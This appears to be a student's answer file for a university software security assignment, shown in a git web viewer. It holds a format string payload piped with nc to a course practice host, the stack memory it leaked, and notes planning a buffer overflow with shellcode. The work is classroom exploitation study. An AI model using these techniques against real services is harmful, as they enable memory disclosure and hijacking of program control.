repositories
/
sws1-1415.git
/ blob
commit
grep
author
committer
pickaxe
?
search:
re
summary
|
shortlog
|
log
|
commit
|
commitdiff
|
tree
history
|
raw
|
HEAD
Finished assignemnt 5b
[sws1-1415.git]
/
ass5b
/
mart
/
sws1-assignment5b-s4109503-s4202015
/
exercise2
1
a)
2
The buffer is probably 104 characters wide. All characters over 104 will not be
3
echoed.
4
5
b,c)
6
printf "%52s\n" | sed 's/ /%p/g' | nc hackme.cs.ru.nl 2266 |\ sed 's/(nil)\|0x/\n&/g'
7
8
Memory:
9
0x7ffff7ff8066
10
0x7ffff7dd8de0
11
0xfbad2088
12
0x7025702570257025
13
0x7025702570257025
14
0x7025702570257025
15
0x7025702570257025
16
0x7025702570257025
17
0x7025702570257025
18
0x7025702570257025
19
0x7025702570257025
20
0x7025702570257025
21
0x7025702570257025
22
0x7025702570257025
23
0x7025702570257025
24
0x7025702570257025
25
0x7025702570257025
26
0x702570257025
27
0x7fffffffeb40
28
0x7fffffffebd0 Saved frame pointer
29
0x4006a9 Return pointer
30
(nil)
31
0x100400530
32
0x7fffffffebe0
33
0x4006c2
34
(nil)
35
0x7ffff7a70ead
36
(nil)
37
0x7fffffffecc8
38
0x100000000
39
0x4006b9
40
(nil)
41
0x1aad25fd1bef7a81
42
0x400530
43
0x7fffffffecc0
44
(nil)
45
(nil)
46
0xe552da02cc0f7a81
47
0xe552cab3073f7a81
48
0x7fff00000000
49
(nil)
50
(nil)
51
0x4006e0
52
0x7fffffffecc8
53
0x1
54
(nil)
55
(nil)
56
0x400530
57
0x7fffffffecc0
58
(nil)
59
0x400559
60
61
30 bytes shell codes
62
14 bytes in de zooi
63
94 bytes zooi
64
65
104 zooi
66
8 bytes waarde?
67
8 frame pointer?
68
8 return pointer